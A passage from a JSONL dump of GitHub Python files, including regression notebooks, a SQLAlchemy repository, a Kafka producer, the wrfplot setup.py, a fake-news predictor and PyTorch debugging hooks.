0.89]\nprint(dot(beta_reg[1:], beta_reg[1:])) # 5.19\nprint(multiple_r_squared(x, y, beta_reg)) # 0.680\n\n\n# In[48]:\n\n\nbeta_reg = estimate_beta_ridge(x, y, alpha=0.1)\nprint(beta_reg)\nprint(dot(beta_reg[1:], beta_reg[1:]))\nprint(multiple_r_squared(x, y, beta_reg))\n# [30.8, 0.95, -1.84, 0.54]\n# 4.60\n# 0.680\n\n\n# In[49]:\n\n\nbeta_reg = estimate_beta_ridge(x, y, alpha=1)\nprint(beta_reg)\nprint(dot(beta_reg[1:], beta_reg[1:]))\nprint(multiple_r_squared(x, y, beta_reg))\n# [30.7, 0.90, -1.69, 0.085]\n# 3.69\n# 0.676\n\n\n# In[50]:\n\n\nbeta_reg = estimate_beta_ridge(x, y, alpha=10)\nprint(beta_reg)\nprint(dot(beta_reg[1:], beta_reg[1:]))\nprint(multiple_r_squared(x, y, beta_reg))\n# [28.3, 0.72, -0.91, -0.017]\n# 1.36\n# 0.573\n\n\n# #### Lasso penalty\n# \n# Lasso can force coefficients to zero, but is not amenable to gradient descent. :(\n\n# In[51]:\n\n\ndef lasso_penalty(beta, alpha):\n return alpha * sum(abs(beta_i) for beta_i in beta[1:])\n\n","repo_name":"DizzleMoon/Example-Codes-Edit-V2","sub_path":"Regression/multiple-regression-Grus.py","file_name":"multiple-regression-Grus.py","file_ext":"py","file_size_in_byte":14059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74947513760","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[5]:\n\n\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\n\n\n# In[6]:\n\n\ntrain=pd.read_csv('C:/Users/HP/Documents/Ashu/MachineHack/CCPP_participants_Data/Train.csv')\n\n\n# In[7]:\n\n\ntest=pd.read_csv('C:/Users/HP/Documents/Ashu/MachineHack/CCPP_participants_Data/Test.csv')\n\n\n# In[8]:\n\n\ntrain\n\n\n# In[9]:\n\n\ntrain.info()\n\n\n# In[82]:\n\n\ntrain['AP']=train['AP'].divide(100)\n\n\n# In[83]:\n\n\nX=train.drop(columns=['PE'])\nX\n\n\n# In[84]:\n\n\ny=train.PE\ny\n\n\n# In[85]:\n\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=101)\n\n\n# In[86]:\n\n\nfrom sklearn.ensemble import RandomForestRegressor\n\n\n# In[87]:\n\n\nreg1=RandomForestRegressor(n_estimators=2000,criterion='mse',random_state=0,oob_score=False)\n\n\n# In[88]:\n\n\nreg1.fit(X_train,y_train)\n\n\n# In[89]:\n\n\nreg1.score(X_test,y_test)\n\n\n# In[90]:\n\n\ntest\n\n\n# In[91]:\n\n\npred_final=reg1.predict(test)\n\n\n# In[92]:\n\n\npred_final\n\n\n# In[93]:\n\n\noutput=pd.DataFrame({'PE':pred_final})\n\n\n# In[94]:\n\n\noutput.to_csv(r'C:\\Users\\HP\\Documents\\Ashu\\MachineHack\\CCPP_participants_Data\\Solution.csv',index=False)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Ashu1904/MachineHack","sub_path":"Power plant.py","file_name":"Power plant.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10841586340","text":"#IMPORTANDO BIBLIOTECAS \r\n\r\nfrom sqlalchemy.orm import Session\r\nfrom src.schemas import schemas\r\nfrom src.infra.sqlalchemy.models import models\r\nfrom sqlalchemy import *\r\n\r\n\r\n#REPOSITORIO DE PRODUTOS \r\n\r\nclass RepositorioProduto():\r\n\r\n def __init__(self, session:Session):\r\n self.session = session\r\n\r\n# criar a tabela no banco de dadso \r\n def criar(self, produto: schemas.Produto):\r\n db_produto = models.Produto(nome = produto.nome,\r\n detalhe = produto.detalhe,\r\n preco = produto.preco,\r\n disponivel = produto.disponivel,\r\n id_usuario = produto.id_usuario\r\n )\r\n\r\n self.session.add(db_produto)\r\n self.session.commit()\r\n self.session.refresh(db_produto)\r\n return db_produto\r\n\r\n\r\n#listar a tabela no bando de dados \r\n def listar(self):\r\n produtos = self.session.query(models.Produto).all()\r\n return produtos\r\n\r\n\r\n#deletar produto \r\n def deletar(self, id: int):\r\n st = delete(models.Produto).where(\r\n models.Produto.id == id)\r\n \r\n self.session.execute(st)\r\n self.session.commit()\r\n # self.session.refresh(models.Produto)\r\n \r\n # return {f'msg': 'ID {id} foi deletado'}\r\n \r\n\r\n#editar produto\r\n def editar(self, produto: schemas.Produto):\r\n st = update(models.Produto).where(\r\n models.Produto.id == produto.id).values(\r\n nome = produto.nome,\r\n detalhe = produto.detalhe,\r\n preco = produto.preco, \r\n disponivel = produto.disponivel,\r\n id = produto.id\r\n )\r\n self.session.execute(st)\r\n self.session.commit()\r\n return produto \r\n\r\n","repo_name":"santanna37/prob_alembic","sub_path":"olx/src/infra/sqlalchemy/repositorios/produto.py","file_name":"produto.py","file_ext":"py","file_size_in_byte":2007,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"33122972078","text":"#imports for json and Pandas\nimport pandas as pd\nimport json\nfrom pandas.io.json import json_normalize\n\n#load json data from source file using open function\njson_data = json.load((open('data/world_bank_projects.json')))\n\n#apply json normalize on the column 'mjtheme_namecode' and get distinct value combination for each record\njson_norm = json_normalize(json_data, 'mjtheme_namecode',sep= \",\")\n\n# Few record has a blank name, to fill this we will fill them using itertuples\nname_dict = {}\nfor row in json_norm.itertuples():\n if row[2] != '':\n name_dict[row[1]] = row[2]\nname_dict\n\n# Fill in missing names using the name dictionary\nfor row in json_norm.itertuples():\n if row[2] == '':\n json_norm.set_value(row[0], 'name', name_dict[row[1]])\n\n# additionl Check to make sure there are no more missing entries\nprint('Number of missing name entries:', len(json_norm[json_norm['name'] == '']))\nprint(json_norm)\n\n","repo_name":"jiagarwa/Springboard-Exercises","sub_path":"dataframe_with_the_missing_names.py","file_name":"dataframe_with_the_missing_names.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"24426000259","text":"from random import choice\nfrom configparser import ConfigParser\nfrom confluent_kafka import Producer\n\nCONFIG_FILE = 'config.ini'\n\nclass event_producer():\n\n def __init__(self, topic):\n self.topic = topic\n\n def load_config(CONFIG_FILE):\n config_parser = ConfigParser()\n config_parser.read_file(CONFIG_FILE)\n config = dict(config_parser['default'])\n return config\n\n\n def delivery_callback(err, msg):\n if err:\n print('ERROR: Message failed delivery: {}'.format(err))\n else:\n print(\"Produced event to topic {topic}: key = {key:12} value = {value:12}\".format(\n topic=msg.topic(), key=msg.key().decode('utf-8'), value=msg.value().decode('utf-8')))\n\n\n def run_producer(self, load_config, delivery_callback, user_id):\n producer = Producer(load_config)\n topic = self.topic\n count = 0\n for _ in range(10):\n\n user_id = choice(user_id)\n producer.produce(topic, user_id, callback=delivery_callback)\n count += 1\n\n producer.poll(10000)\n producer.flush()","repo_name":"ChamathKB/Recommendation-Engine","sub_path":"producer.py","file_name":"producer.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8635554997","text":"class Solution():\n def moveToRight(self, arr):\n tmp = []\n index = 0\n while index.\n\"\"\"\n\n__author__ = 'J Sundar (wrf.guy@gmail.com)'\n\nimport io\nimport os\nimport sys\nfrom shutil import rmtree\nimport glob\nfrom setuptools import find_packages, setup\n\n# Package meta-data.\nNAME = 'wrfplot'\nDESCRIPTION = 'Command line application to plot WRF model output data'\nURL = 'https://github.com/wxguy/wrfplot'\nEMAIL = 'wrf.guy@gmail.com'\nAUTHOR = 'J Sundar'\nREQUIRES_PYTHON = '>=3.7.0'\nVERSION = None\nLICENSE = 'GNU General Public License v3 (GPLv3)'\n\n# What packages are required for this module to be executed?\nREQUIRED = ['cartopy', 'xarray', 'matplotlib', 'wrf-python>=1.3', 'imageio', 'tqdm', 'netcdf4']\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\nwith io.open(os.path.join(here, 'README.md'), encoding='utf-8') as f:\n long_description = '\\n' + f.read()\n\nabout = {}\nif not VERSION:\n with open(os.path.join(here, NAME, '_version.py')) as f:\n exec(f.read(), about)\nelse:\n about['__version__'] = VERSION\n\n\ndef list_files(directory):\n files = []\n all_files = glob.glob(directory + '/**/*', recursive=True)\n for _file in all_files:\n if os.path.isfile(_file) and '.py' not in _file:\n files.append(_file)\n return files\n\ndef _version():\n from setuptools_scm.version import SEMVER_MINOR, guess_next_simple_semver, release_branch_semver_version, simplified_semver_version\n\n def my_release_branch_semver_version(version):\n v = release_branch_semver_version(version)\n if v == version.format_next_version(guess_next_simple_semver, retain=SEMVER_MINOR):\n return version.format_next_version(guess_next_simple_semver, fmt=\"{guessed}\", retain=SEMVER_MINOR)\n return v\n\n return {\n 'version_scheme': my_release_branch_semver_version,\n 'local_scheme': 'no-local-version',\n }\n\n\nsetup(\n name=NAME,\n use_scm_version=True, # _version\n setup_requires=['setuptools_scm'],\n description=DESCRIPTION,\n long_description=long_description,\n author=AUTHOR,\n author_email=EMAIL,\n python_requires=REQUIRES_PYTHON,\n url=URL,\n keywords=[\"Scientific\", \"Engineering\", \"Atmospheric Science\", \"Weather Model\", \"Plotting\", \"Software Development\", \"Numerical Weather Prediction\", \"NWP\"],\n py_modules=['wrfplot'],\n\n entry_points={\n 'console_scripts': ['wrfplot=wrfplot.wrfplot:main'],\n },\n install_requires=REQUIRED,\n license=LICENSE,\n classifiers=[\n # Full list: https://pypi.python.org/pypi?%3Aaction=list_classifiers\n 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)'\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n 'Programming Language :: Python :: 3.10',\n 'Operating System :: Unix',\n 'Operating System :: MacOS',\n 'Operating System :: POSIX :: Linux',\n 'Operating System :: Microsoft :: Windows',\n 'Programming Language :: Python :: Implementation :: CPython',\n 'Topic :: Scientific/Engineering :: Atmospheric Science',\n 'Topic :: Scientific/Engineering :: Visualization',\n ],\n packages=find_packages(\"wrfplot\", exclude=['test', 'test.*'],),\n include_package_data=True,\n exclude_package_data={'': ['test']},\n package_dir={'wrfplot': 'wrfplot'},\n package_data={'wrfplot': ['colormaps/colormaps/cartocolors/*',\n 'colormaps/colormaps/cmocean/*',\n 'colormaps/colormaps/colorbrewer/*',\n 'colormaps/colormaps/colorcet/*',\n 'colormaps/colormaps/cubehelix/*',\n 'colormaps/colormaps/ncar_ncl/*',\n 'colormaps/colormaps/scientific/*',\n 'colormaps/colormaps/sciviz/*',\n 'colormaps/colormaps/tableau/*',\n 'data/*', 'data/shapefiles/natural_earth/cultural/*',\n 'data/shapefiles/natural_earth/physical/*', 'data/shape/*']},\n # package_data={'wrfplot': list_files('wrfplot')},\n # $ setup.py publish support.\n # cmdclass={ 'upload': UploadCommand,},\n project_urls={\n \"Bug Reports\": \"https://github.com/wxguy/wrfplot/issues\",\n \"Source\": \"https://github.com/wxguy/wrfplot/\",\n \"Documentation\": \"https://wrfplot.readthedocs.io\"\n },\n)\n","repo_name":"wxguy/wrfplot","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":5140,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"21420083971","text":"from requests.models import Response\n\n\nclass HTTPError(Exception):\n code: int\n reason: str\n\n def __init__(self, response: Response):\n super().__init__()\n self.code = response.status_code\n self.reason = response.reason\n\n def __str__(self) -> str:\n return f\"{self.code}: {self.reason}\"\n","repo_name":"nttcom/threatconnectome","sub_path":"e2etests/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"35161534777","text":"###This document is for managing player stats\r\nclass Player():\r\n def __init__(self):\r\n\r\n ###Positional stats and functions\r\n self.x = 1\r\n self.y = 2\r\n\r\n ###The players level and XP\r\n self.xp = 0\r\n self.level = 1\r\n\r\n #xp algorithm for later:\r\n \"\"\"xp_required = 0\r\n ON LEVEL UP:\r\n xp_required = xp_required + ( level * 100 )\r\n xp = 0\r\n level += 1\r\n this means that level req will go up by 100 each time\"\"\"\r\n \r\n\r\nplayer = Player()\r\n","repo_name":"nathanrhart/PyMUTA-TextBasedGame","sub_path":"playermanager.py","file_name":"playermanager.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14158442484","text":"# 모범답안..\r\ndef solution(genres, plays):\r\n answer = []\r\n # 장르별 딕셔너리 key 생성..\r\n d = {e: [] for e in set(genres)}\r\n\r\n # zip() : 동일한 개수로 이뤄진 자료형을 묶어주는 역할을 한다.\r\n\r\n # 장르, 플레이 횟수, 고유번호\r\n for e in zip(genres, plays, range(len(plays))):\r\n d[e[0]].append([e[1], e[2]])\r\n\r\n genreSort = sorted(list(d.keys()), key=lambda x: sum(map(lambda y: y[0], d[x])), reverse=True)\r\n # x는 장르들을 의미하고, y는 d[x]([ [플레이 횟수, 고유번호] ])를 의미한다.\r\n # map(condition, list)은 list의 원소들을 condition대로 변환해주는 역할을 한다.\r\n\r\n for g in genreSort:\r\n # 각 장르별로 플레이 많은 음악순으로 정렬하여 해당 음악의 고유번호를 가져옴\r\n temp = [e[1] for e in sorted(d[g], key=lambda x: (x[0], -x[1]), reverse=True)]\r\n\r\n # min()에서 temp의 길이가 2보다 작으면 작은게 나옴(결국 1개라는 소리지)\r\n answer += temp[:min(len(temp), 2)]\r\n\r\n return answer\r\n\r\n\r\ngenres = [\"classic\", \"pop\", \"classic\", \"classic\", \"pop\"]\r\nplays = [500, 600, 150, 800, 2500]\r\nprint(solution(genres, plays))\r\n","repo_name":"rlacksals96/algorithm","sub_path":"Programmers/해시/베스트앨범/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1024455548","text":"import cv2\nfrom cap_from_youtube import cap_from_youtube\nfrom GetInference import infer, imshow\nfrom PIL import Image\nfrom matplotlib import pyplot as plt\nimport glob\n\nyoutube_url = 'https://youtu.be/-ECyW8r3_uw'\ncap = cap_from_youtube(youtube_url, \"480p\")\n\nwidth = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) # float `width`\nheight = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) # float `height\n\nframe = (width, height)\nlength = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n\nout = cv2.VideoWriter('output_video.avi',cv2.VideoWriter_fourcc(*'DIVX'),60,frame)\n\ncount = 0\n\nprint(\"\\n\\nEntering...\\n\")\n# cv2.namedWindow('video', cv2.WINDOW_NORMAL)\nwhile True:\n plt.figure(figsize=(15,15))\n ret, frame = cap.read()\n count += 1\n print(f\"Frame {count}/{length}\", end=\"\\n\\n\")\n frameDat = infer(frame)\n frameDat = imshow(frameDat)\n if not ret:\n break\n # plt.subplot(1,2,1)\n # frame = Image.fromarray(frame)\n # plt.imshow(frame)\n\n # plt.subplot(1,2,2)\n plt.imshow(frameDat)\n plt.axis('off')\n plt.savefig(f\"images/{count}.jpg\", bbox_inches='tight')\n\nfor image in glob.glob(\"images/*.jpg\"):\n img = cv2.imread(image)\n out.write(img)\n\nout.release()","repo_name":"advaithca/maximApp","sub_path":"maximApp/testingWithVideo.py","file_name":"testingWithVideo.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"39871455841","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 4 17:45:40 2017\n\n@author: NishitP\n\"\"\"\n\nimport pickle\nfrom GooseExtract import *\n#doc_new = ['obama is running for president in 2016']\n\nvar = input(\"Please enter the URL of news text you want to verify: \")\nprint(\"You entered: \" + str(var))\n\n\n#function to run for prediction\ndef detecting_fake_news(var): \n#retrieving the best model for prediction call\n load_model = pickle.load(open('final_model.sav', 'rb'))\n\n url = Scrape(var)\n data = url.cleaned_text\n #print(type(data))\n #print(type(var))\n prediction = load_model.predict([data])\n prob = load_model.predict_proba([data])\n HeaderBodyComp = Comparison(var)\n\n #print(HeaderBodyComp)\n #print(type(HeaderBodyComp))\n FinalScore = (prob[0][1] * 0.9) + (HeaderBodyComp * 0.1)\n #print(FinalScore)\n #print(type(FinalScore))\n\n return (print(\"The given statement is \",prediction[0]),\n print(\"The truth probability score is \",FinalScore))\n\n\nif __name__ == '__main__':\n detecting_fake_news(var)","repo_name":"Manish-1997/FakeNewsDetection","sub_path":"prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"25701816146","text":"#!/usr/bin/env python3\n\n__version__ = '0.1'\n__description__ = 'Debug tools for Pytorch models'\n__summary__ = 'Debug tools for Pytorch models'\n__license__ = 'BSD'\n__author__ = 'David Völgyes'\n__email__ = 'david.volgyes@ieee.org'\n\n# system modules\nimport torch\nimport sys\nimport os\nimport importlib\nfrom contextlib import contextmanager\nfrom pathlib import Path\nimport traceback\n\n# 3rd party modules\nfrom loguru import logger\nfrom pygments import highlight\nfrom pygments.lexers import PythonLexer\nfrom pygments.formatters.terminal import TerminalFormatter as fmt\nfrom torch.utils.data.sampler import Sampler\nfrom termcolor import colored\n\ntorch_enabled = 'torch' in sys.modules\n\n\nclass __vivisection_settings:\n\n def __init__(self):\n self.interactive = False\n self.abort_on_error = True\n self.line_length = 80\n\n self.tf = {}\n self.tf_names = {}\n self.tf['forward_in'] = [torch.isnan, torch.isinf]\n self.tf['forward_out'] = [torch.isnan, torch.isinf]\n self.tf['forward_pre'] = [torch.isnan, torch.isinf]\n self.tf['backward_in'] = [torch.isnan, torch.isinf]\n self.tf['backward_out'] = [torch.isnan, torch.isinf]\n self.tf['forward_attr'] = [torch.isnan, torch.isinf]\n self.tf['backward_attr'] = [torch.isnan, torch.isinf]\n self.tf['loss'] = [torch.isnan, torch.isinf]\n\n self.tf_names['forward_in'] = ['NaN', 'inf']\n self.tf_names['forward_out'] = ['NaN', 'inf']\n self.tf_names['forward_attr'] = ['NaN', 'inf']\n self.tf_names['forward_pre'] = ['NaN', 'inf']\n self.tf_names['backward_in'] = ['NaN', 'inf']\n self.tf_names['backward_out'] = ['NaN', 'inf']\n self.tf_names['backward_attr'] = ['NaN', 'inf']\n self.tf_names['loss'] = ['NaN', 'inf']\n\n self.forward_hook_flag = True\n self.forward_pre_hook_flag = True\n self.backward_hook_flag = True\n self.sample_logger = None\n\n def set_logger(self, logger):\n self.sample_logger = logger\n\n\n_settings = __vivisection_settings()\n\n\n@contextmanager\ndef local_env(name, value):\n defined = name in os.environ\n if defined:\n saved = os.environ[name]\n os.environ[name] = str(value)\n\n yield\n\n if defined:\n os.environ[name] = saved\n else:\n os.environ.pop(name)\n\n\nconda = os.environ.get('CONDA_DEFAULT_ENV', 'Not in use')\n\n\ndef detect_libs(name):\n # os.environ.get('CHECK_INSTALLED_MODULES', False) in ['1','true','TRUE']\n check_existence = False\n enabled, exists, version = False, False, 'N/A'\n try:\n enabled = name in sys.modules\n if enabled or check_existence:\n importlib.import_module(name)\n exists = True\n try:\n version = sys.modules[name].__version__\n except AttributeError:\n pass\n except ImportError:\n pass\n if not exists:\n version = 'not installed'\n return exists, version, enabled\n\n\ntorch_exists, torch_version, torch_enabled = detect_libs('torch')\ntf_exists, tf_version, tf_enabled = detect_libs('tensorflow')\nkeras_exists, keras_version, keras_enabled = detect_libs('keras')\nfastai_exists, fastai_version, fastai_enabled = detect_libs('fastai')\nTF_CUDA = False\nCUDA_version = None\n\nif torch_exists:\n CUDA_version = torch.version.cuda\nif tf_exists:\n with local_env('TF_CPP_MIN_LOG_LEVEL', 2):\n import tensorflow as tf\n TF_CUDA = tf.test.is_gpu_available(cuda_only='True')\n\nlogger.info('System information')\nlogger.info(\n f' Python : {sys.version[0:5]},'\n f' Conda:{conda}, CUDA: {CUDA_version}')\nlogger.info(f' Vivisection: {__version__} (imported: True)')\n\nif torch_enabled:\n logger.info(\n f' PyTorch : {torch_version:8s} (imported: {torch_enabled})')\nif tf_enabled:\n logger.info(\n f' Tensorflow : {tf_version:8s} '\n f'(imported: {tf_enabled}, CUDA capable:{TF_CUDA})')\nif keras_enabled:\n logger.info(\n f' Keras : {keras_version:8s}'\n f' (imported: {keras_enabled})')\nif fastai_enabled:\n logger.info(\n f' FastAI : {fastai_version:8s}'\n f' (imported: {fastai_enabled})')\n\nif Path('requirements.txt').exists():\n with open('requirements.txt') as f:\n for line in map(str.strip, f.readlines()):\n if line in sys.modules:\n try:\n module = sys.modules[line]\n if hasattr(module, '__version__'):\n version = module.__version__\n else:\n version = module.VERSION\n if isinstance(version, tuple):\n version = \".\".join(map(str, version))\n logger.info(f' {line:11s}: '\n f'{version:8s} (imported: True)')\n except AttributeError:\n version = 'unknown'\n logger.info(f' {line:11s}: '\n f'{version:8s} (imported: True)')\nelse:\n logger.warning(f'Missing requirements.txt!')\n\n\ndef forward_hooks(new_status=None):\n global _settings\n if new_status is None:\n new_status = not _settings.forward_hook_flag\n _settings.forward_hook_flag = new_status\n logger.info(f'Forward hooks: {new_status}')\n\n\ndef backward_hooks(new_status=None):\n global _settings\n if new_status is None:\n new_status = not _settings.backward_hook_flag\n _settings.backward_hook_flag = new_status\n logger.info(f'Forward hooks: {new_status}')\n\n\ndef forward_pre_hooks(new_status=None):\n global _settings\n if new_status is None:\n new_status = not _settings.forward_pre_hook_flag\n _settings.forward_pre_hook_flag = new_status\n logger.info(f'forward_pre hooks: {new_status}')\n\n\ndef free_space(dirname='.'):\n try:\n f = os.statvfs(dirname)\n return (f.f_bavail*f.f_bsize/(1024**3))\n except Exception:\n return -1\n\n\ndef find_global_variable_name(var):\n for k, v in globals().items():\n if v is var:\n return k\n return None\n\n\ndef path_difference(file1, file2):\n diff = str(Path(os.path.relpath(file1, file2)))\n cnt = 0\n for i, c in enumerate(diff):\n if c not in ['.', '/']:\n break\n if c == '/':\n cnt += 1\n return cnt\n\n\ndef format_trace(trace, skip=0, levels=None):\n global _settings\n lines = []\n f0 = Path(trace[0].filename)\n for idx, t in enumerate(trace):\n if idx < skip:\n continue\n if levels is not None and idx + levels >= len(trace):\n break\n e = Path(t.filename).name+\":\"+str(t.lineno)\n if path_difference(f0, Path(t.filename)) <= 3:\n e = colored(e, 'green')\n b = \" \"*idx+t.line\n n = max(_settings.line_length - len(b), 0)\n b = \" \"*idx+(highlight(t.line, PythonLexer(), fmt())).strip()\n e = e.strip()\n lines.append(b+(\" \"*n)+e)\n return \"\\n\".join(lines)\n\n\nclass SampleLogger(Sampler):\n\n def __init__(self, sampler):\n global _settings\n self.sampler = sampler\n self.index_history = []\n _settings.set_logger(self)\n\n def clear(self):\n self.index_history.clear()\n\n def __iter__(self):\n for idx in self.sampler:\n self.index_history.insert(0, idx)\n yield idx\n\n def get_samples(self, size, indices):\n for idx in indices:\n if idx < len(self.index_history):\n yield self.index_history[idx]\n\n def __len__(self):\n return self.sampler.__len__()\n\n\ndef _get_location(module):\n result = []\n result.append(colored('Location in the model:', 'yellow'))\n result.append(module.print())\n result.append(colored('\\nCall trace:', 'yellow'))\n s = traceback.extract_stack()\n result.append(format_trace(s, levels=2))\n return \"\\n\".join(result)\n\n\ndef _batch_indices(array, test_function):\n global _settings\n indices = []\n for i in range(array.size()[0]):\n if torch.any(test_function(array[i])):\n indices.append(i)\n if _settings.sample_logger is not None:\n indices = list(_settings.sample_logger.get_samples(\n array.size()[0], indices))\n return list(map(str, indices))\n\n\ndef _forward_hook(module, input, output):\n global _settings\n if not _settings.forward_hook_flag:\n return\n if type(input) != tuple:\n input = (input,)\n\n if type(output) != tuple:\n output = (output,)\n\n for i in input:\n for idx, f in enumerate(_settings.tf['forward_in']):\n if torch.any(f(i)):\n varname = _settings.tf_names[\"forward_in\"][idx]\n text = [f' Forward hook: {varname}'\n ' failed for the input!']\n text.append(colored('Affected sample indices: ', 'yellow')\n + (\", \").join(_batch_indices(i, f)))\n text.append(\"\")\n text.append(_get_location(module))\n logger.error(\"\\n\".join(text)+\"\\n\")\n\n if _settings.abort_on_error:\n sys.exit(1)\n\n for attr in dir(module):\n if type(getattr(module, attr)) == torch.nn.parameter.Parameter:\n for idx, f in enumerate(_settings.tf['forward_attr']):\n if torch.any(f(getattr(module, attr))):\n varname = _settings.tf_names[\"forward_attr\"][idx]\n text = [\n f' Forward hook: {varname}'\n f' failed for the \"{attr}\"'\n ' attribute of the input!']\n text.append(_get_location(module))\n logger.error(\"\\n\".join(text)+\"\\n\")\n if _settings.abort_on_error:\n sys.exit(1)\n\n for o in output:\n for idx, f in enumerate(_settings.tf['forward_out']):\n if torch.any(f(o)):\n varname = _settings.tf_names[\"forward_out\"][idx]\n text = [f' Forward hook: {varname}'\n ' failed for the output!']\n logger.error(\"\\n\".join(text)+\"\\n\")\n if _settings.abort_on_error:\n sys.exit(1)\n\n\ndef _backward_hook(module, input, output):\n if not _settings.backward_hook_flag:\n return\n if type(input) != tuple:\n input = (input,)\n\n if type(output) != tuple:\n output = (output,)\n\n for i in input:\n if i is not None:\n for idx, f in enumerate(_settings.tf['backward_in']):\n if torch.any(f(i)):\n varname = _settings.tf_names[\"backward_in\"][idx]\n text = [f' Backward hook: {varname}'\n ' failed for the input!']\n logger.error(\"\\n\".join(text)+\"\\n\")\n if _settings.abort_on_error:\n sys.exit(1)\n\n for attr in dir(module):\n if type(getattr(module, attr)) == torch.nn.parameter.Parameter:\n for idx, f in enumerate(_settings.tf['backward_attr']):\n if torch.any(f(getattr(module, attr))):\n varname = _settings.tf_names[\"backward_attr\"][idx]\n text = [f' Backward hook: {varname} '\n 'failed for the \"{attr}\" attribute of the input!']\n logger.error(\"\\n\".join(text)+\"\\n\")\n if _settings.abort_on_error:\n sys.exit(1)\n\n for i in output:\n if i is not None:\n for idx, f in enumerate(_settings.tf['backward_attr']):\n if torch.any(f(i)):\n varname = _settings.tf_names[\"backward_attr\"][idx]\n text = [f' Backward hook: {varname}'\n ' failed for the output!']\n text.append(_get_location(module))\n logger.error(\"\\n\".join(text)+\"\\n\")\n if _settings.abort_on_error:\n sys.exit(1)\n\n\ndef _forward_pre_hook(module, input):\n if not _settings.forward_pre_hook_flag:\n return\n return\n\n\ndef _ghook(*args, **kwargs):\n for i, a in enumerate(args):\n if isinstance(a, torch.Tensor):\n for idx, f in enumerate(_settings.tf['loss']):\n if torch.any(f(a)):\n varname = _settings.tf_names[\"loss\"][idx]\n text = [f'Error in the loss function: {varname}']\n if a.grad_fn is not None:\n varname = str(type(a.grad_fn).__name__)\n text.append(colored('', 'red') +\n f'The error originates around: {varname}')\n else:\n text.append(\n f'Enable \"create_graph\" for '\n 'more detailed error message.')\n logger.error(\"\\n\".join(text)+\"\\n\")\n if _settings.abort_on_error:\n sys.exit(1)\n\n\ndef debug_model(model):\n class debug_instance:\n def __init__(self, m):\n self.model = m\n\n def __call__(self, *args):\n tensor = self.model(*args)\n tensor.register_hook(_ghook)\n return tensor\n\n global saved_model\n saved_model = model\n\n def _r2(self):\n return _r(saved_model, self)\n\n def _r(self, obj=None):\n def _addindent(s_, numSpaces):\n s = s_.split('\\n')\n # don't do anything for single-line stuff\n if len(s) == 1:\n return s_\n first = s.pop(0)\n s = [(numSpaces * ' ') + line for line in s]\n s = '\\n'.join(s)\n s = first + '\\n' + s\n return s\n\n # We treat the extra repr like the sub-module, one item per line\n extra_lines = []\n extra_repr = self.extra_repr()\n # empty string will be split into list ['']\n if extra_repr:\n extra_lines = extra_repr.split('\\n')\n child_lines = []\n for key, module in self._modules.items():\n mod_str = _r(module, obj)\n lines = '(' + key + '): ' + mod_str\n if obj is not None and module is obj:\n lines = colored(lines, 'red')\n child_lines.append(lines)\n lines = extra_lines + child_lines\n name = self._get_name()\n main_str = name + '('\n if lines:\n # simple one-liner info, which most builtin Modules will use\n if len(extra_lines) == 1 and not child_lines:\n main_str += extra_lines[0]\n else:\n main_str += '\\n ' + '\\n '.join(lines) + '\\n'\n main_str += ')'\n if obj is not None and self is obj:\n main_str = colored(main_str, 'red')\n return main_str\n\n def set_model_hooks(module):\n module.register_forward_hook(_forward_hook)\n module.register_forward_pre_hook(_forward_pre_hook)\n module.register_backward_hook(_backward_hook)\n module.print = _r2.__get__(module, module.__class__)\n model.apply(set_model_hooks)\n return debug_instance(model)\n","repo_name":"dvolgyes/vivisection","sub_path":"vivisection/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":15150,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"71504029601","text":"#!/usr/bin/env python3\n\nfrom pprint import pprint\nfrom collections import deque, defaultdict\nimport itertools\nimport math\nimport sys\n\nsys.setrecursionlimit(10 ** 6)\nINF = float('inf')\n\n\nN = int(input())\n\n\ndef g(x, y, z):\n return (x + y + z) ** 2 - (x*y + y*z + z*x)\n\n\nxyz_dict = defaultdict(int)\nnum_dict = defaultdict(int)\nfor x in range(1, 100):\n for y in range(1, 100):\n for z in range(1, 100):\n num = g(x, y, z)\n if (x, y, z) in xyz_dict:\n continue\n xyz_dict[(x, y, z)] = 1\n num_dict[num] += 1\n\n\nfor n in range(1, N+1):\n 